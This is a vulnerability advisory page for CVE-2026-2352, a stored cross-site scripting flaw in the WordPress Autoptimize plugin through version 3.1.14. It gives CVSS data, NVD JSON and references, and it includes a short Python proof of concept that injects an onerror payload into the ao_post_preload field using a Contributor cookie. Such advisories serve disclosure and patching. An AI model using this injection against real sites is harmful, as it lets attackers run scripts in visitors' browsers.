Security Vulnerability Report
中文
CVE-2026-2352 CVSS 6.4 MEDIUM

CVE-2026-2352

Published: 2026-03-21 00:16:26
Last Modified: 2026-04-22 21:32:08

Description

The Autoptimize plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'ao_post_preload' meta value in all versions up to, and including, 3.1.14. This is due to insufficient input sanitization in the `ao_metabox_save()` function and missing output escaping when the value is rendered into a `<link>` tag in `autoptimizeImages.php`. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page, granted the "Image optimization" or "Lazy-load images" setting is enabled in the plugin configuration.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Autoptimize <= 3.1.14

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Exploit Title: WordPress Autoptimize < 3.1.15 Stored XSS via ao_post_preload # Description: Inject malicious script into the ao_post_preload field. import requests target_url = "http://example.com/wp-admin/post.php" cookies = { "wordpress_logged_in_xxx": "..." # Authenticated user cookie (Contributor+) } payload = '" onerror="alert(1)' # Data to simulate saving the post with the malicious meta value data = { "action": "editpost", "post_ID": "1", "meta_input[ao_post_preload]": payload, # ... other required form fields like _wpnonce } response = requests.post(target_url, data=data, cookies=cookies) if response.status_code == 200: print("Payload injected successfully.") print("Visit the post page with Image Optimization enabled to trigger XSS.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-2352", "sourceIdentifier": "[email protected]", "published": "2026-03-21T00:16:25.873", "lastModified": "2026-04-22T21:32:08.360", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Autoptimize plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'ao_post_preload' meta value in all versions up to, and including, 3.1.14. This is due to insufficient input sanitization in the `ao_metabox_save()` function and missing output escaping when the value is rendered into a `<link>` tag in `autoptimizeImages.php`. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page, granted the \"Image optimization\" or \"Lazy-load images\" setting is enabled in the plugin configuration."}, {"lang": "es", "value": "El plugin Autoptimize para WordPress es vulnerable a cross-site scripting almacenado a través del valor meta 'ao_post_preload' en todas las versiones hasta la 3.1.14, inclusive. Esto se debe a una sanitización de entrada insuficiente en la función `ao_metabox_save()` y a una falta de escape de salida cuando el valor se renderiza en una etiqueta `` en `autoptimizeImages.php`. Esto hace posible que atacantes autenticados, con acceso de nivel Colaborador o superior, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada, siempre que la configuración de \"Optimización de imágenes\" o \"Carga diferida de imágenes\" esté habilitada en la configuración del plugin."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/futtta/autoptimize/commit/60d1e487e536a97ae317784f8aeaf0d2e93cd717", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/autoptimize/tags/3.1.14/classes/autoptimizeImages.php#L804", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/autoptimize/tags/3.1.14/classes/autoptimizeImages.php#L938", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/autoptimize/tags/3.1.14/classes/autoptimizeMetabox.php#L276", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/autoptimize/trunk/classes/autoptimizeImages.php#L804", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/autoptimize/trunk/classes/autoptimizeMetabox.php#L276", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3482530%40autoptimize&new=3482530%40autoptimize&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5f3f9891-710e-49e4-b388-aa6d99c01840?source=cve", "source": "[email protected]"}]}}